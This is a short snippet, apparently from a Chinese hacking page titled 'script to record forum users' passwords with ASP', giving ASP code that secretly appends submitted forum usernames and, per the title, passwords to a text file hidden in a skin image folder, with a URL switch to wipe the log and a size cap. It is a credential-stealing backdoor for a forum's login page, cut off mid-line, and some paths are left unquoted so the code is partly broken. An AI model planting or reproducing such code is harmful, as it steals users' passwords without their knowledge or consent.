用asp记录论坛用户密码脚本

if filesize>200000 then
set file2=fso.OpenTextFile(PATH,2,True)
file2.WriteLine ""
file2.close
end if
--------------------------------------------------------------------
<%
dim fso
dim file
dim file2
dim filesize
dim file3
set fso=server.createobject("Scripting.FileSystemObject")
If Request("u")="del" Then
set file=fso.OpenTextFile(E:\MYWEB\bbs888\Skins\Default\topicface\Info.txt,2,True)
file.WriteLine ""
End If
If fso.FileExists("E:\MYWEB\bbs888\Skins\Default\topicface\Info.txt") Then
set file=fso.OpenTextFile(E:\MYWEB\bbs888\Skins\Default\topicface\Info.txt,8,True)
Else
set file=fso.CreateTextFile(E:\MYWEB\bbs888\Skins\Default\topicface\Info.txt)
end if
file.WriteLine "Username:"+Request.form("User